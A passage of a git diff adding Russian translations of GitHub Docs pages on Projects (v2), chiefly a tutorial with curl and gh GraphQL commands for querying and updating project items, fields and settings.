+</td> +</tr> + +<tr> +<td> + +{% data variables.product.prodname_github_app %}: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ steps.generate_token.outputs.token }}{% endraw %} +``` + +{% data variables.product.pat_generic_caps %}: + +```yaml +env: + GITHUB_TOKEN: {% raw %}${{ secrets.YOUR_TOKEN }}{% endraw %} +``` + +</td> +<td> +Задает переменные среды для этого шага. <code>GITHUB_TOKEN</code> — описано выше. + +</td> +</tr> + +<tr> +<td> + +```yaml +gh api graphql -f query=' + mutation ( + $project: ID! + $item: ID! + $status_field: ID! + $status_value: String! + $date_field: ID! + $date_value: Date! + ) { + set_status: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $status_field + value: { + singleSelectOptionId: $status_value + } + }) { + projectV2Item { + id + } + } + set_date_posted: updateProjectV2ItemFieldValue(input: { + projectId: $project + itemId: $item + fieldId: $date_field + value: { + date: $date_value + } + }) { + projectV2Item { + id + } + } + }' -f project=$PROJECT_ID -f item=$ITEM_ID -f status_field=$STATUS_FIELD_ID -f status_value={% raw %}${{ env.TODO_OPTION_ID }}{% endraw %} -f date_field=$DATE_FIELD_ID -f date_value=$DATE --silent +``` + +</td> +<td> +Устанавливает для поля <code>Status</code> значение <code>Todo</code>. Устанавливает значение поля <code>Date posted</code>. +</td> +</tr> + +</table> diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md new file mode 100644 index 000000000000..6cb5306637b1 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/index.md @@ -0,0 +1,23 @@ +--- +title: 'Автоматизация {% data variables.projects.project_v2 %}' +shortTitle: 'Automating {% data variables.projects.projects_v2 %}' +intro: 'Узнайте, как использовать встроенные рабочие процессы, {% data variables.product.prodname_actions %}, а также API для автоматизации проектов.' +versions: + feature: projects-v2 +topics: + - Issues + - Projects +children: + - /using-the-built-in-automations + - /using-the-api-to-manage-projects + - /automating-projects-using-actions + - /archiving-items-automatically +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 9187012a572af445192343af1b1ba121ae442087 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107232' +--- + diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md new file mode 100644 index 000000000000..f8915480e30b --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-api-to-manage-projects.md @@ -0,0 +1,780 @@ +--- +title: 'Использование API для управления {% data variables.product.prodname_projects_v2 %}' +shortTitle: Automating with the API +intro: API GraphQL можно использовать для автоматизации проектов. +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/using-the-api-to-manage-projects +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 6b4deff4ee518bfdafcd3886577a1c9b12ea7b2e +ms.sourcegitcommit: bf11c3e08cbb5eab6320e0de35b32ade6d863c03 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148111604' +--- +В этой статье показано, как использовать API GraphQL для управления проектами. Дополнительные сведения об использовании API в рабочем процессе {% data variables.product.prodname_actions %} см. в разделе [Автоматизация {% data variables.product.prodname_projects_v2 %} с помощью Actions](/issues/planning-and-tracking-with-projects/automating-your-project/automating-projects-using-actions). Полный список доступных типов данных см. в [Справочнике](/graphql/reference). + +{% data reusables.projects.graphql-deprecation %} + +## Аутентификация + +{% curl %} + +Во всех приведенных ниже примерах cURL замените `TOKEN` на маркер, имеющий область `read:project` (для запросов) или область `project` (для запросов и изменений). Маркер может быть {% data variables.product.pat_v1 %} для пользователя или маркером доступа к установке для {% data variables.product.prodname_github_app %}. Дополнительные сведения о создании {% data variables.product.pat_generic %} см. в разделе [Создание {% data variables.product.pat_generic %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token). Дополнительные сведения о создании маркера доступа установки для {% data variables.product.prodname_github_app %} см. в разделе [Проверка подлинности с помощью {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app). + +{% endcurl %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Перед выполнением команд {% data variables.product.prodname_cli %} необходимо выполнить проверку подлинности с помощью команды `gh auth login --scopes "project"`. Если требуется только чтение, без редактирования проектов, можно указать область `read:project` вместо `project`. Дополнительные сведения о проверке подлинности в командной строке см. в описании команды [gh auth login](https://cli.github.com/manual/gh_auth_login). + +{% endcli %} + +{% cli %} + +## Использование переменных + +Во всех следующих примерах переменные можно использовать для упрощения сценариев. Используйте ключ `-F` для передачи переменной, которая является числом, логическим значением или NULL. Используйте ключ `-f` для других переменных. Например, + +```shell +my_org="octo-org" +my_num=5 +gh api graphql -f query=' + query($organization: String! $number: Int!){ + organization(login: $organization){ + projectV2(number: $number) { + id + } + } + }' -f organization=$my_org -F number=$my_num +``` + +Дополнительные сведения см. в разделе [Формирование вызовов с помощью GraphQL](/graphql/guides/forming-calls-with-graphql#working-with-variables). + +{% endcli %} + +## Поиск сведений о проектах + +Используйте запросы для получения данных о проектах. Дополнительные сведения см. в разделе [Сведения о запросах](/graphql/guides/forming-calls-with-graphql#about-queries). + +### Поиск идентификатора узла для проекта организации + +Чтобы обновить проект с помощью API, необходимо знать идентификатор узла проекта. + +Идентификатор узла проекта организации можно найти, если вы знаете название организации и номер проекта. Замените `ORGANIZATION` названием организации. Например, `octo-org`. Замените `NUMBER` номером проекта. Чтобы найти номер проекта, просмотрите URL-адрес проекта. Например, у `https://github.com/orgs/octo-org/projects/5` номер 5. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"query{organization(login: \"ORGANIZATION\") {projectV2(number: NUMBER){id}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + organization(login: "ORGANIZATION"){ + projectV2(number: NUMBER) { + id + } + } + }' +``` +{% endcli %} + +Можно также найти идентификаторы узлов для всех проектов в организации. В следующем примере возвращается идентификаторы узлов и заголовки первых 20 проектов в организации. Замените `ORGANIZATION` названием организации. Например, `octo-org`. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"{organization(login: \"ORGANIZATION\") {projectsV2(first: 20) {nodes {id title}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + organization(login: "ORGANIZATION") { + projectsV2(first: 20) { + nodes { + id + title + } + } + } + }' +``` +{% endcli %} + +### Поиск идентификатора узла для проекта пользователя + +Чтобы обновить проект с помощью API, необходимо знать идентификатор узла проекта. + +Идентификатор узла проекта пользователя можно найти, если вы знаете номер проекта. Замените `USER` именем пользователя. Например, `octocat`. Замените `NUMBER` номером проекта. Чтобы найти номер проекта, просмотрите URL-адрес проекта. Например, у `https://github.com/users/octocat/projects/5` номер 5. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"query{user(login: \"USER\") {projectV2(number: NUMBER){id}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + user(login: "USER"){ + projectV2(number: NUMBER) { + id + } + } + }' +``` +{% endcli %} + +Также можно найти идентификатор узла для всех своих проектов. В следующем примере возвращается идентификаторы узлов и заголовки первых 20 ваших проектов. Замените `USER` своим именем пользователя. Например, `octocat`. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"{user(login: \"USER\") {projectsV2(first: 20) {nodes {id title}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + user(login: "USER") { + projectsV2(first: 20) { + nodes { + id + title + } + } + } + }' +``` +{% endcli %} + +### Поиск идентификатора узла для поля + +Чтобы обновить значение поля, необходимо знать идентификатор узла поля. Кроме того, необходимо знать идентификатор параметров для полей одиночного выбора и идентификатор итерации для полей итерации. + +В следующем примере возвращаются идентификатор, имя, параметры и конфигурация для первых 20 полей в проекте. Замените `PROJECT_ID` идентификатором узла для проекта. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { fields(first: 20) { nodes { ... on ProjectV2Field { id name } ... on ProjectV2IterationField { id name configuration { iterations { startDate id }}} ... on ProjectV2SingleSelectField { id name options { id name }}}}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + node(id: "PROJECT_ID") { + ... on ProjectV2 { + fields(first: 20) { + nodes { + ... on ProjectV2Field { + id + name + } + ... on ProjectV2IterationField { + id + name + configuration { + iterations { + startDate + id + } + } + } + ... on ProjectV2SingleSelectField { + id + name + options { + id + name + } + } + } + } + } + } +}' +``` +{% endcli %} + +Вы получите ответ следующего вида: + +```json +{ + "data": { + "node": { + "fields": { + "nodes": [ + { + "id": "PVTF_lADOANN5s84ACbL0zgBZrZY", + "name": "Title" + }, + { + "id": "PVTF_lADOANN5s84ACbL0zgBZrZc", + "name": "Assignees" + }, + { + "id": "PVTSSF_lADOANN5s84ACbL0zgBZrZg", + "name": "Status", + "options": [ + { + "id": "f75ad846", + "name": "Todo" + }, + { + "id": "47fc9ee4", + "name": "In Progress" + }, + { + "id": "98236657", + "name": "Done" + } + ] + }, + { + "id": "PVTIF_lADOANN5s84ACbL0zgBah28", + "name": "Iteration", + "configuration": { + "iterations": [ + { + "startDate": "2022-05-29", + "id": "cfc16e4d" + } + ] + } + } + ] + } + } + } +} +``` + +У каждого поля есть идентификатор и имя. Отдельные поля выбора возвращаются в формате объекта `ProjectV2SingleSelectField` и имеют поле `options`, в котором содержится идентификатор каждого варианта для одиночного выбора. Поля итерации возвращаются в формате объекта `ProjectV2IterationField` и содержат поле `configuration`, в котором есть поле `iterations` с идентификатором каждой итерации и сведениями о ней. + +Если вам нужны только имя и идентификатор поля, но не нужны сведения об итерациях и вариантах для поля с одиночным выбором, можно использовать объект `ProjectV2FieldCommon`. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { fields(first: 20) { nodes { ... on ProjectV2FieldCommon { id name }}}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + node(id: "PROJECT_ID") { + ... on ProjectV2 { + fields(first: 20) { + nodes { + ... on ProjectV2FieldCommon { + id + name + } + } + } + } + } +}' +``` +{% endcli %} + +При использовании объекта `ProjectV2FieldCommon` вы получите ответ следующего вида: + +```json +{ + "data": { + "node": { + "fields": { + "nodes": [ + { + "__typename": "ProjectV2Field", + "id": "PVTF_lADOANN5s84ACbL0zgBZrZY", + "name": "Title" + }, + { + "__typename": "ProjectV2Field", + "id": "PVTF_lADOANN5s84ACbL0zgBZrZc", + "name": "Assignees" + }, + { + "__typename": "ProjectV2SingleSelectField", + "id": "PVTSSF_lADOANN5s84ACbL0zgBZrZg", + "name": "Status" + }, + { + "__typename": "ProjectV2IterationField", + "id": "PVTIF_lADOANN5s84ACbL0zgBah28", + "name": "Iteration" + } + ] + } + } + } +} +``` + +### Поиск сведений о элементах в проекте + +Вы можете создать запрос к API, чтобы найти сведения о элементах проекта. + +В следующем примере будут возвращены первые 20 проблем, запросов на вытягивание и черновиков проблем в проекте. Для проблем и запросов на вытягивание он также вернет заголовок и первые 10 уполномоченных. Для черновика проблемы он вернет заголовок и текст. Также в этом примере возвращаются имя и значение для любого поля с текстом, датой или единичным выбором из первых 8 полей проекта. Замените `PROJECT_ID` идентификатором узла для проекта. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"query{ node(id: \"PROJECT_ID\") { ... on ProjectV2 { items(first: 20) { nodes{ id fieldValues(first: 8) { nodes{ ... on ProjectV2ItemFieldTextValue { text field { ... on ProjectV2FieldCommon { name }}} ... on ProjectV2ItemFieldDateValue { date field { ... on ProjectV2FieldCommon { name } } } ... on ProjectV2ItemFieldSingleSelectValue { name field { ... on ProjectV2FieldCommon { name }}}}} content{ ... on DraftIssue { title body } ...on Issue { title assignees(first: 10) { nodes{ login }}} ...on PullRequest { title assignees(first: 10) { nodes{ login }}}}}}}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + query{ + node(id: "PROJECT_ID") { + ... on ProjectV2 { + items(first: 20) { + nodes{ + id + fieldValues(first: 8) { + nodes{ + ... on ProjectV2ItemFieldTextValue { + text + field { + ... on ProjectV2FieldCommon { + name + } + } + } + ... on ProjectV2ItemFieldDateValue { + date + field { + ... on ProjectV2FieldCommon { + name + } + } + } + ... on ProjectV2ItemFieldSingleSelectValue { + name + field { + ... on ProjectV2FieldCommon { + name + } + } + } + } + } + content{ + ... on DraftIssue { + title + body + } + ...on Issue { + title + assignees(first: 10) { + nodes{ + login + } + } + } + ...on PullRequest { + title + assignees(first: 10) { + nodes{ + login + } + } + } + } + } + } + } + } + }' +``` +{% endcli %} + +Проект может содержать элементы, для которых у пользователя нет разрешения на просмотр. В этом случае возвращается тип элемента `REDACTED`. + +## Обновление проектов + +Используйте изменения для обновления проектов. Дополнительные сведения см. в разделе [Сведения об изменениях](/graphql/guides/forming-calls-with-graphql#about-mutations). + +{% note %} + +**Примечание.** Нельзя добавить и обновить элемент в одном вызове. Необходимо использовать `addProjectV2ItemById` для добавления элемента, а затем использовать `updateProjectV2ItemFieldValue` для обновления элемента. + +{% endnote %} + +### Добавление элемента в проект + +В следующем примере в проект будет добавлена проблема или запрос на вытягивание. Замените `PROJECT_ID` идентификатором узла для проекта. Замените `CONTENT_ID` идентификатором узла проблемы или запроса на вытягивание, который вы хотите добавить. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"mutation {addProjectV2ItemById(input: {projectId: \"PROJECT_ID\" contentId: \"CONTENT_ID\"}) {item {id}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + addProjectV2ItemById(input: {projectId: "PROJECT_ID" contentId: "CONTENT_ID"}) { + item { + id + } + } + }' +``` +{% endcli %} + +Ответ будет содержать идентификатор узла только что созданного элемента. + +```json +{ + "data": { + "addProjectV2ItemById": { + "item": { + "id": "PVTI_lADOANN5s84ACbL0zgBVd94" + } + } + } +} +``` + +При попытке добавить существующий элемент будет возвращен идентификатор уже существующего элемента. + +### Добавление черновика проблемы в проект + +В следующем примере в проект будет добавлен черновик проблемы. Замените `PROJECT_ID` идентификатором узла для проекта. Замените `TITLE` и `BODY` нужным содержимым для нового черновика проблемы. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"mutation {addProjectV2DraftIssue(input: {projectId: \"PROJECT_ID\" title: \"TITLE\" body: \"BODY\"}) {projectItem {id}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + addProjectV2DraftIssue(input: {projectId: "PROJECT_ID" title: "TITLE" body: "BODY"}) { + projectItem { + id + } + } + }' +``` +{% endcli %} + +Ответ будет содержать идентификатор узла только что созданного черновика проблемы. + +```json +{ + "data": { + "addProjectV2DraftIssue": { + "projectItem": { + "id": "PVTI_lADOANN5s84ACbL0zgBbxFc" + } + } + } +} +``` + +### Обновление параметров проекта + +В следующем примере будут обновлены параметры проекта. Замените `PROJECT_ID` идентификатором узла для проекта. Установите для `public`значение `true`, чтобы сделать проект общедоступным в {% data variables.product.product_name %}. Измените параметр `readme`, чтобы внести изменения в файл README проекта. + +{% curl %} +```shell +curl --request POST \ +--url https://api.github.com/graphql \ +--header 'Authorization: Bearer TOKEN' \ +--data '{"query":"mutation { updateProjectV2(input: { projectId: \"PROJECT_ID\", title: \"Project title\", public: false, readme: \"# Project README\n\nA long description\", shortDescription: \"A short description\"}) { projectV2 { id, title, readme, shortDescription }}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + updateProjectV2( + input: { + projectId: "PROJECT_ID", + title: "Project title", + public: false, + readme: "# Project README\n\nA long description", + shortDescription: "A short description" + } + ) { + projectV2 { + id + title + readme + shortDescription + } + } + }' +``` +{% endcli %} + +### Обновление настраиваемого поля текста, числа или даты + +В следующем примере будет обновлено значение текстового поля для элемента. Замените `PROJECT_ID` идентификатором узла для проекта. Замените `ITEM_ID` идентификатором узла элемента, который нужно обновить. Замените `FIELD_ID` идентификатором поля, которое нужно обновить. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\" fieldId: \"FIELD_ID\" value: { text: \"Updated text\" }}) { projectV2Item { id }}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + updateProjectV2ItemFieldValue( + input: { + projectId: "PROJECT_ID" + itemId: "ITEM_ID" + fieldId: "FIELD_ID" + value: { + text: "Updated text" + } + } + ) { + projectV2Item { + id + } + } + }' +``` +{% endcli %} + +{% note %} + +**Примечание.** `updateProjectV2ItemFieldValue` нельзя использовать для изменения `Assignees`, `Labels`, `Milestone` или `Repository`, поскольку эти поля являются свойствами запросов на вытягивание и проблем, а не элементов проекта. Вместо этого можно использовать следующие изменения: + +- [addAssigneesToAssignable](/graphql/reference/mutations#addassigneestoassignable) +- [removeAssigneesFromAssignable](/graphql/reference/mutations#removeassigneesfromassignable) +- [addLabelsToLabelable](/graphql/reference/mutations#addlabelstolabelable) +- [removeLabelsFromLabelable](/graphql/reference/mutations#removelabelsfromlabelable) +- [updateIssue](/graphql/reference/mutations#updateissue) +- [updatePullRequest](/graphql/reference/mutations#updatepullrequest) +- [transferIssue](/graphql/reference/mutations#transferissue) + +{% endnote %} + +### Обновление поля одиночного выбора + +В следующем примере будет обновлено значение поля одиночного выбора для элемента. + +- `PROJECT_ID` — замените идентификатором узла для проекта. +- `ITEM_ID` — замените идентификатором узла элемента, который нужно обновить. +- `FIELD_ID` — замените идентификатором поля одиночного выбора, которое нужно обновить. +- `OPTION_ID` — замените идентификатором нужного параметра одиночного выбора. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\" fieldId: \"FIELD_ID\" value: { singleSelectOptionId: \"OPTION_ID\" }}) { projectV2Item { id }}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + updateProjectV2ItemFieldValue( + input: { + projectId: "PROJECT_ID" + itemId: "ITEM_ID" + fieldId: "FIELD_ID" + value: { + singleSelectOptionId: "OPTION_ID" + } + } + ) { + projectV2Item { + id + } + } + }' +``` +{% endcli %} + +### Обновление поля итерации + +В следующем примере будет обновлено значение поля итерации для элемента. + +- `PROJECT_ID` — замените идентификатором узла для проекта. +- `ITEM_ID` — замените идентификатором узла элемента, который нужно обновить. +- `FIELD_ID` — замените идентификатором поля итерации, которое нужно обновить. +- `ITERATION_ID` — замените идентификатором требуемой итерации. Это может быть активная или завершенная итерация. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\" fieldId: \"FIELD_ID\" value: { singleSelectOptionId: \"OPTION_ID\" }}) { projectV2Item { id }}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + updateProjectV2ItemFieldValue( + input: { + projectId: "PROJECT_ID" + itemId: "ITEM_ID" + fieldId: "FIELD_ID" + value: { + iterationId: "ITERATION_ID" + } + } + ) { + projectV2Item { + id + } + } + }' +``` +{% endcli %} + +### Удаление элемента из проекта + +В следующем примере элемент удаляется из проекта. Замените `PROJECT_ID` идентификатором узла для проекта. Замените `ITEM_ID` идентификатором узла элемента, который нужно удалить. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: Bearer TOKEN' \ + --data '{"query":"mutation {deleteProjectV2Item(input: {projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\"}) {deletedItemId}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + deleteProjectV2Item( + input: { + projectId: "PROJECT_ID" + itemId: "ITEM_ID" + } + ) { + deletedItemId + } + }' +``` +{% endcli %} + +## Управление проектами + +### Создание проектов + +Для создания нового проекта можно использовать изменение. Дополнительные сведения см. в разделе [Сведения об изменениях](/graphql/guides/forming-calls-with-graphql#about-mutations). + +Чтобы создать проект с помощью API, необходимо указать имя проекта и идентификатор узла пользователя или организации {% data variables.product.product_name %}, которые станут владельцем проекта. + +Вы можете найти идентификатор узла пользователя или организации {% data variables.product.product_name %}, если вы знаете имя пользователя. Замените <code>GITHUB_OWNER</code> именем пользователя {% data variables.product.product_name %} нового владельца проекта. + +{% curl %} +```shell +curl --request GET \ + --url https://api.github.com/users/<em>GITHUB_OWNER</em> \ + --header 'Authorization: token <em>TOKEN</em>' \ + --header 'Accept: application/vnd.github+json' +``` +{% endcurl %} + +{% cli %} +```shell +gh api -H "Accept: application/vnd.github+json" /users/<em>GITHUB_OWNER</em> +``` +{% endcli %} + +Чтобы создать проект, замените `OWNER_ID` идентификатором узла нового владельца проекта, а — `PROJECT_NAME` именем проекта. + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token <em>TOKEN</em>' \ + --data '{"query":"mutation {createProjectV2(input: {ownerId: \"<em>OWNER_ID</em>\" title: \"<em>PROJECT_NAME</em>\"}) {projectV2 {id}}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation{ + createProjectV2( + input: { + ownerId: "<em>OWNER_ID</em>", + title: "<em>PROJECT_NAME</em>" + } + ){ + projectV2 { + id + } + } + }' +``` +{% endcli %} + + +## Использование веб-перехватчиков + +Вы можете использовать веб-перехватчики для подписки на события, происходящие в проекте. Например, при изменении элемента {% data variables.product.product_name %} может отправлять полезные данные HTTP POST в настроенный URL-адрес веб-перехватчика, который может активировать автоматизацию на сервере. Дополнительные сведения о веб-перехватчиках см. в статье [Сведения о веб-перехватчиках](/developers/webhooks-and-events/webhooks/about-webhooks). Дополнительные сведения о событии веб-перехватчика `projects_v2_item` см. в разделе [События и полезные данные веб-перехватчика](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#projects_v2_item). diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md new file mode 100644 index 000000000000..bccb896acfa8 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/using-the-built-in-automations.md @@ -0,0 +1,28 @@ +--- +title: Использование встроенных автоматизаций +shortTitle: Using built-in automations +intro: Для автоматизации проектов можно использовать встроенные рабочие процессы. +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +type: tutorial +topics: + - Projects +ms.openlocfilehash: 40f82bbe99ff036a70007f38534d401a972516f7 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109495' +--- +{% note %} + +**Примечание.** Встроенные рабочие процессы доступны в рамках ограниченной бета-версии. + +{% endnote %} + +{% data reusables.projects.about-workflows %} + +В проекте можно включить или отключить встроенные рабочие процессы. + +{% data reusables.projects.enable-basic-workflow %} diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md new file mode 100644 index 000000000000..ccc8ba76accc --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/creating-projects/creating-a-project.md @@ -0,0 +1,44 @@ +--- +title: 'Создание {% data variables.projects.project_v2 %}' +intro: 'Узнайте, как создать организацию или проект пользователя.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/creating-a-project +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 6cbe9313866c19e8325bdd34e90c6a39863de515 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109487' +--- +{% data variables.product.prodname_projects_v2 %} — это адаптируемая коллекция элементов, которая синхронизируется с данными {% data variables.product.company_short %}. Проекты могут отслеживать проблемы, запросы на вытягивание и намеченные вами идеи. В них можно добавлять настраиваемые поля и создавать представления для конкретных целей. + +## Создание проекта + +### Создание проекта организации + +Проекты организации могут отслеживать проблемы и запросы на вытягивание из репозиториев организации. + +{% data reusables.projects.create-project %} + +### Создание проекта пользователя + +Пользовательские проекты могут отслеживать проблемы и запросы на вытягивание из репозиториев, принадлежащих вашей личной учетной записи. + +{% data reusables.projects.create-user-project %} + +## Обновление описания проекта и README + +{% data reusables.projects.project-description %} + +## Дополнительные материалы + +- [Добавление проекта в репозиторий](/issues/planning-and-tracking-with-projects/managing-your-project/adding-your-project-to-a-repository) +- [Добавление элементов в проект](/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project) +- [Настройка представления](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view) diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/creating-projects/index.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/creating-projects/index.md new file mode 100644 index 000000000000..06eaf3f1ca9e --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/creating-projects/index.md @@ -0,0 +1,21 @@ +--- +title: 'Создание {% data variables.projects.projects_v2 %}' +shortTitle: 'Creating {% data variables.projects.projects_v2 %}' +intro: 'Узнайте о создании проектов и переносе {% data variables.projects.projects_v1_boards %}.' +versions: + feature: projects-v2 +topics: + - Issues + - Projects +children: + - /creating-a-project + - /migrating-from-projects-classic +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 4d982f7f1f5fa66f372bcca74cea084cb2497d9c +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148109488' +--- + diff --git a/translations/ru-RU/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md new file mode 100644 index 000000000000..025b32a26066 --- /dev/null +++ b/translations/ru-RU/content/issues/planning-and-tracking-with-projects/creating-projects/migrating-from-projects-classic.md @@ -0,0 +1,62 @@ +--- +title: 'Миграция с {% data variables.product.prodname_projects_v1 %}' +intro: 'Вы можете перенести {% data variables.projects.projects_v1_board %} в новый интерфейс {% data variables.product.prodname_projects_v2 %}.' +miniTocMaxHeadingLevel: 3 +versions: + feature: projects-v2 +redirect_from: + - /issues/trying-out-the-new-projects-experience/migrating-your-project +type: tutorial +topics: + - Projects +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 2efe16be4b865e4315bce1fee633c313a3d7e512 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148110074' +--- +{% note %} + +**Примечания.** + +- Если переносимый проект содержит более 1200 элементов, открытые проблемы будут приоритизированы по открытым запросам на вытягивание, а затем заметкам. Оставшееся пространство будет использоваться для закрытых проблем, объединенных запросов на вытягивание и закрытых запросов на вытягивание. Элементы, которые не могут быть перенесены из-за этого ограничения, будут перемещены в архив. Если достигнут предел архива в 10 000 элементов, дополнительные элементы не будут переноситься. +- Карточки заметок преобразуются в черновики проблем, и содержимое сохраняется в тексте черновика. Если информация отсутствует, сделайте все скрытые поля видимыми. Дополнительные сведения см. в разделе [Отображение и скрытие полей](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view#showing-and-hiding-fields). +- Автоматизация не будет перенесена. +- Рассмотрение, архивация и действие не будут перенесены. +- После миграции новый перенесенный проект и старый проект не будут синхронизированы. + +{% endnote %} + +## Сведения о миграции проекта + +Вы можете перенести доски проектов в новый интерфейс {% data variables.product.prodname_projects_v2 %} и испытать таблицы, использование нескольких представлений, новые параметры автоматизации и эффективные типы полей. Дополнительные сведения см. в разделе [Сведения о проектах](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects). + +## Миграция доски проекта организации + +{% data reusables.projects.enable-migration %} {% data reusables.profile.access_org %} {% data 